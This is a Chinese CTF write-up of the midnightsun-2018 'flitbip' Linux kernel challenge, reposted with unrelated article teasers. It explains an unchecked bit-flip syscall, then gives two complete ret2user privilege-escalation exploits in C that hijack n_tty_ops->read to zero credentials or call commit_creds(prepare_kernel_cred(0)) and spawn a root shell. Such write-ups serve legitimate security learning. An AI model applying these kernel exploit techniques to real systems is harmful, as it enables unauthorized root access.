midnightsun-2018-flitbip:任意地址写

题目下载

启动脚本

启动脚本如下,没开启任何保护

#!/bin/bash
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd ./initrd \
    -nographic \
    -monitor /dev/null \
    -append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null

题目:自定义的系统调用

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>

#define MAXFLIT 1

#ifndef __NR_FLITBIP
#define FLITBIP 333
#endif

long flit_count = 0;
EXPORT_SYMBOL(flit_count);

SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
{
        if (flit_count >= MAXFLIT)
        {
                printk(KERN_INFO "flitbip: sorry :/\n");
                return -EPERM;
        }

        *addr ^= (1ULL << (bit));
        flit_count++;

        return 0;
}

题目提供了一个新的系统调用号,调用号为333
该系统调用有两个参数:addrbit
作用:对addr地址存储数据的第bit位与1进行异或(起始下标是第0位)
限制:使用全局变量long flit_count限制异或功能的次数,进入系统调用检查flit_count是否大于等于1

  • 如果等于1,则直接退出
  • 小于1,则对数据进行异或,并增加flit_count的值

也就是正常情况下,该系统调用的异或功能只能起作用一次


题目问题:系统调用未对传递的addr参数做检查,可以传入内核空间的地址。

  • 由于未开启地址随机化,可以传入flit_count全局变量的地址,使系统调用中的异或功能使用次数不受限
  • 通过系统调用中的异或功能,实现任意地址写,进而提权

准备编译打包脚本

为了变量编写的poc能被快速验证,创建了一个shell 脚本,用于编译poc,并将编译好的poc打包进initrd中

#!/bin/bash

echo "[*]build poc elf"
name=$1
elf_name=$(echo $1 | cut -d . -f1)
gcc -static -g $name  -masm=intel -o $elf_name

echo "extract initrd"
rm -rf ./extracted
mkdir extracted
cd extracted
cp ../initrd ./
zcat ./initrd | cpio -idmv 
rm ./initrd
cp ../$elf_name $elf_name

echo "cpio initrd"
find ./ -print0 | cpio --owner root --null -o --format=newc > ../initrd
cd ..
gzip initrd
mv initrd.gz initrd

使用方式

./build.sh xxx.c

就能将xxx.c编译为xxx,并打包到initrd

获取flit_count和其他内核符号的地址信息

通过/proc/kallsyms

首先在启动脚本中添加nokaslr取消地址随机化
再修改initrd中的init启动文件

setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict

再重新打包initrd,以root用户权限查看/proc/kallsyms中符号的地址

通过vmlinux-to-elf + ida

bzImage转换为elf文件,放入到ida中

vmlinux-to-elf bzImage vmlinux

在导出窗口就能看见符号地址
在这里插入图片描述

通过vmlinux-to-elf + pwntools

这个比较方便
还是先通过vmlinux-to-elf转换bzImageelf文件
再使用pwntools提取符号

from pwn import *

vmlinux_elf = ELF('./vmlinux')
flit_count = vmlinux_elf.symbols['flit_count']
print(hex(flit_count))

尝试调用自定义系统调用

编写代码,调用系统调用看看自定义系统调用的功能
测试a=1时,将a中数据第3位与1进行异或(起始下标是第0位)

0-0-0-1
1-0-0-0
^
=======
1-0-0-1 = 9
// 文件名为 01_syscall.c
#define _GNU_SOURCE
#include <stdio.h>

long _call_flitbip(long *addr, long bit){
  asm(
      "mov rax, 333\n"
      "syscall\n"
  );
}

long call_flitbip(long *addr, long bit){
  long tmp = _call_flitbip(addr, bit);
  return tmp;
}

int main()
{
    int a = 1;
    int result = call_flitbip(&a, 3);
    printf("Now num is %d, result = %d\n", a , result);
    return 0;
}

进行编译打包

./build.sh 01-syscall.c

运行qemu启动脚本,查看结果

/ $ ./01_syscall 
Now num is 9, result = 0  <<<<<<<<<< 二进制 1000 ^ 0001 = 1001 

/ $ ./01_syscall 
Now num is 1, result = -1   <<<<<< 正常情况下系统调用的异或功能只能有效一次
/ $ 

修改flit_count,使flit_count >= 1判断绕过

这里将flit_count 修改为负数,则判断就绕过了
flit_count 是long类型,8字节,将第63为修改为1就是负数(起始下标是第0位)

#define _GNU_SOURCE
#include <stdio.h>

long _call_flitbip(long *addr, long bit){
  asm(
      "mov rax, 333\n"
      "syscall\n"
  );
}

long call_flitbip(long *addr, long bit){
  long tmp = _call_flitbip(addr, bit);
  return tmp;
}

const ulong flit_count = 0xffffffff818f4f78;

int main()
{
    call_flitbip(flit_count, 63); 
    return 0;
}

找到_x64_sys_flitbip的地址为0xFFFFFFFF810AE72D,下端进行调试
在系统调用前,查看flit_count的值为0

pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78:	0x0000000000000000	0x0000000100000000
0xffffffff818f4f88:	0x0000000000000000	0x0000000000000000
0xffffffff818f4f98:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fa8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fb8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fc8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fd8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fe8:	0x0000000000000000	0x0000000000000000

再经过异或之后,值为0x8000000000000000

pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78:	0x8000000000000000	0x0000000100000000
0xffffffff818f4f88:	0x0000000000000000	0x0000000000000000
0xffffffff818f4f98:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fa8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fb8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fc8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fd8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fe8:	0x0000000000000000	0x0000000000000000

之后flit_count再自增1,值为0x8000000000000001

pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78:	0x8000000000000001	0x0000000100000000
0xffffffff818f4f88:	0x0000000000000000	0x0000000000000000
0xffffffff818f4f98:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fa8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fb8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fc8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fd8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fe8:	0x0000000000000000	0x0000000000000000

这样基本就可以不受限使用自定义系统调用的异或功能了,从而实现任意地址写

ret2user + 修改cred

#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>

unsigned long* flip_count = 0xFFFFFFFF818F4F78;
unsigned long* n_tty_ops  =0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
unsigned long* current_task = 0xffffffff8182e040;


long flitbip(long* addr, long bit) {
    __asm__("mov rax, 333");
    __asm__("syscall");
}


char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

static void save_state() {
    __asm__("mov %0, cs\n"
            "mov %1, ss\n"
            "pushfq\n"
            "popq %2\n"
            :"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)
            :
            :"memory"
    );
}


void launch_shell(void) {
    system("/bin/sh");
}

void get_root() {
    int * cred = *(unsigned long*)((char*)*current_task + 0x3c0);
    for (int i = 1; i < 9; i++)
        cred[i] = 0;

    *(unsigned long*)((char*)n_tty_ops+0x30) = (unsigned long)n_tty_read;

    __asm__("swapgs\n"
        "mov rax, %0\n"
        "push rax\n"
        "mov rax, %1\n"
        "push rax\n"
        "mov rax, %2\n"
        "push rax\n"
        "mov rax, %3\n"
        "push rax\n"
        "mov rax, %4\n"
        "push rax\n"
        "iretq\n"
        :
        :"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell)
        :"memory"
    );
}

int main(void) {
    char a;

    user_stack = &a;
    save_state();
    flitbip(flip_count, 63);

    unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;
    printf("%lx\n", val);
    for (unsigned long i=0; i<64; i++) {
        if (val &  (1ULL << (i)))
            flitbip((char*)n_tty_ops + 0x30  , i);
    }
    scanf("%c", &a);
    while(1);
    return 0;
}

ret2user + commit_creds(prepare_kernel_cred(0));

// / $ uname -a
// Linux (none) 4.17.0 #1 Fri Jun 15 18:16:45 CEST 2018 x86_64 GNU/Linux


// ffffffff81033e92 T prepare_kernel_cred
// ffffffff81033d41 T commit_creds

#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>

unsigned long* flip_count = 0xFFFFFFFF818F4F78;
unsigned long* n_tty_ops  =0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
unsigned long* current_task = 0xffffffff8182e040;


long flitbip(long* addr, long bit) {
    __asm__("mov rax, 333");
    __asm__("syscall");
}


char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

static void save_state() {
    __asm__("mov %0, cs\n"
            "mov %1, ss\n"
            "pushfq\n"
            "popq %2\n"
            :"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)
            :
            :"memory"
    );
}


void launch_shell(void) {
    system("/bin/sh");
}


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff81033e92;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff81033d41;

void get_root() {
    commit_creds(prepare_kernel_cred(0));

    // 回复 n_tty_ops->read的值
    *(unsigned long*)((char*)n_tty_ops+0x30) = (unsigned long)n_tty_read;

    __asm__("swapgs\n"
        "mov rax, %0\n"
        "push rax\n"
        "mov rax, %1\n"
        "push rax\n"
        "mov rax, %2\n"
        "push rax\n"
        "mov rax, %3\n"
        "push rax\n"
        "mov rax, %4\n"
        "push rax\n"
        "iretq\n"
        :
        :"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell)
        :"memory"
    );
}

int main(void) {
    char a;

    user_stack = &a;
    save_state();
    flitbip(flip_count, 63);

    unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;
    printf("%lx\n", val);
    // 画了个很简单的图,一看就明白意思
    for (unsigned long i=0; i<64; i++) {
        if (val &  (1ULL << (i)))
            flitbip((char*)n_tty_ops + 0x30  , i);
    }
    scanf("%c", &a);
    while(1);
    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/378359.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Bpmn-js自定义Palette元素

Bpmn-js作为一个流程编辑器&#xff0c;常规的我们可以将其划分为几个功能区域&#xff0c;每个区域对应的负责不同的功能实现&#xff0c;bpmn-js的设计给我们留下了大量的留白和可扩展区域&#xff0c;其每一部分都可进行组合拼装&#xff0c;同时也支持我们的各种不同层次需…

龙年到,好运绕!想在春节期间开融资融券账户,哪家证券公司支持且利率最低?

融资融券交易是一种杠杆交易&#xff0c;投资者可以借入资金进行股票交易&#xff0c;这样可以放大投资收益的同时也增加了风险。下面是一些融资融券交易的技巧&#xff1a; 选择合适的股票&#xff1a;选择具有投资价值和潜在增长空间的股票进行交易&#xff0c;同时要关注市场…

Map 集合

Map集合 1. 概述2. 方法3. 代码示例4. 输出结果5. 注意事项 实现类&#xff1a; HashTable、HashMap、TreeMap、Properties、LinkedHashMap 其他集合类 具体信息请查看 API 帮助文档 1. 概述 Map是Java中的一种数据结构&#xff0c;用于存储键值对&#xff08;key-value pair&…

学生速看:免费领取一台阿里云学生服务器2024申请入口

2024年阿里云学生服务器免费领取&#xff0c;先完成学生认证即可免费领取一台云服务器ECS&#xff0c;配置为2核2G、1M带宽、40G系统盘&#xff0c;在云服务器ECS实例过期之前&#xff0c;完成实验与认证任务&#xff0c;还可以免费续费6个月&#xff0c;阿里云百科aliyunbaike…

【知识整理】管理即服务,识人、识己

1. 背景 一个人的力量是有限的&#xff0c;如何规模化生产&#xff0c;人员的规模化组织&#xff0c;如何提升合作的规模和效率。 管理的本质&#xff1a; 1、服务他人&#xff1f; 2、激发主动性&#xff1f; 3、氛围宽松&#xff1f; 上面是理念&#xff0c; 1、那如何…

MacOS上怎么把格式化成APFS的U盘或者硬盘格式化回ExFAT?

一、问题 MacOS在更新MacOS Monterey后或者更高系统后发现&#xff0c;格式U盘或者硬盘只有4个APFS选项&#xff0c;那么我们该如何将APFS格式成ExFAT&#xff1f; 二、解答 将APFS的U盘或者硬盘拓展成MacOS的拓展格式即可&#xff0c;操作步骤如下 1、电脑接入U盘或者硬盘 2…

vue 实现 手机号中间4位分格输入框(暂无选中标识

vue 实现 手机号中间4位分格输入框 效果图 <!--4位分格输入框--> <!--<template><div><div style"display: flex;"><div class"phone-input"><inputv-for"(digit, index) in digits":key"index"…

【递归】【前序中序后序遍历】【递归调用栈空间与二叉树深度有关】【斐波那契数】Leetcode 94 144 145

【递归】【前序中序后序遍历】【递归调用栈空间与二叉树深度有关】Leetcode 94 144 145 1.前序遍历&#xff08;递归&#xff09; preorder2.中序遍历&#xff08;递归&#xff09;inorder3.后序遍历&#xff08;递归&#xff09;postorder4. 斐波那契数 ---------------&…

洞察 Electric Capital 2023 年开发者报告,找准未来 Web3 开发趋势

作者&#xff1a;Electric Capital 编译&#xff1a;TinTinLand 原文链接&#xff1a;https://www.developerreport.com/developer-report 近期&#xff0c;Electric Capital 发布了 2023 年年度加密开发者报告&#xff0c;对 818k 开源存储库中的 4.85 亿次代码提交进行分析…

【C语言】通过socket看系统调用过程

一、通过socket看系统调用过程 在Linux操作系统中&#xff0c;系统调用是用户空间与内核空间之间交互的一种方式。当一个应用程序需要执行操作系统级别的任务时&#xff0c;比如创建一个网络套接字&#xff08;socket&#xff09;&#xff0c;它必须通过系统调用请求内核来执行…

JavaSE——数组(1/2)-数组的定义和访问(静态初始化数组、动态初始化数组、案例练习)

目录 数组的定义和访问 静态初始化数组 数组的访问 数组的遍历 案例练习 动态初始化数组 案例练习 数组是什么 数组就是一个容器&#xff0c;用来存储一批同种类型的数据。 例子&#xff1a; 20&#xff0c;10&#xff0c;80&#xff0c;60&#xff0c;90 int[ ] arr …

STM32/C51开发环境搭建(KeilV5安装)

Keil C51是美国Keil Software公司出品的51系列兼容单片机C语言软件开发系统&#xff0c;与汇编相比&#xff0c;C语言在功能上、结构性、可读性、可维护性上有明显的优势&#xff0c;因而易学易用。Keil提供了包括C编译器、宏汇编、链接器、库管理和一个功能强大的仿真调试器等…

第59讲订单数据下拉实现

import com.baomidou.mybatisplus.extension.plugins.pagination.Page;/*** 订单查询 type值 0 全部订单 1待付款 2 待收货 3 退款/退货* param type* return*/RequestMapping("/list")public R list(Integer type,Integer page,Integer pageSize){System.out.pri…

【C++基础入门】七、指针(定义和使用、所占内存空间、空指针和野指针、const关键字修饰指针、指针和数组、指针和函数)

七、指针 7.1 指针的基本概念 指针的作用&#xff1a; 可以通过指针间接访问内存 内存编号是从0开始记录的&#xff0c;一般用十六进制数字表示可以利用指针变量保存地址 7.2 指针变量的定义和使用 指针变量定义语法&#xff1a; 数据类型 * 变量名&#xff1b; 示例&…

统一身份认证系统架构设计与实践总结

随着互联网的快速发展和应用的普及&#xff0c;人们在各个网站和应用上需要不同的账号和密码进行身份认证。为了解决这个问题&#xff0c;统一身份认证系统应运而生。本文将总结统一身份认证系统的架构设计与实践经验&#xff0c;帮助读者了解如何设计和实现一个高效、安全的统…

一、OpenAI API介绍

Open AI API可以应用到任何的业务场景。 文本生成 创造助理 嵌入数据 语音转化 图片生成 图片输入 1. 核心概念 1.1 Text generation models OpenAI 的文本生成模型(通常被称为generative pre-trained transformers 模型简称&#xff1a;GPT),有GPT-4和G…

《学成在线》微服务实战项目实操笔记系列(P1~P83)【上】

史上最详细《学成在线》项目实操笔记系列【上】&#xff0c;跟视频的每一P对应&#xff0c;全系列12万字&#xff0c;涵盖详细步骤与问题的解决方案。如果你操作到某一步卡壳&#xff0c;参考这篇&#xff0c;相信会带给你极大启发。 一、前期准备 1.1 项目介绍 P2 To C面向…

Eclipse 安装使用ABAPGit

Eclipse->Help->Install New software 添加地址 https://eclipse.abapgit.org/updatesite/ 安装完成打开 选择abapGit repositories,先添加仓库 点下图添加自己仓库 如图添加仓库地址 添加完仓库后&#xff0c;点击我的仓库 右键选中行&#xff0c;可以进行push和pu…

代码随想录算法训练营第42天 | 01背包理论基础 416.分割等和子集

01背包理论基础 问题定义&#xff1a;有n件物品和一个能装重量为w的背包&#xff0c;第i件物品的重量是weight[i]&#xff0c;得到的价值是value[i]。每件物品只能用一次&#xff0c;求解将哪些物品装入背包获得的总价值最大。dp数组含义&#xff1a;dp[i][j] 表示从下标为 [0…

springboot基础案例(二)

文章目录 前言一.需求分析: 分析这个项目含有哪些功能模块二.库表设计(概要设计): 1.分析系统有哪些表 2.分析表与表关系 3.确定表中字段(显性字段 隐性字段(业务字段))2.1 创建一个库: ems-thymeleaf2.2 创建 2张表三.编码(环境搭建)1.创建一个springboot项目 项目名字: ems-t…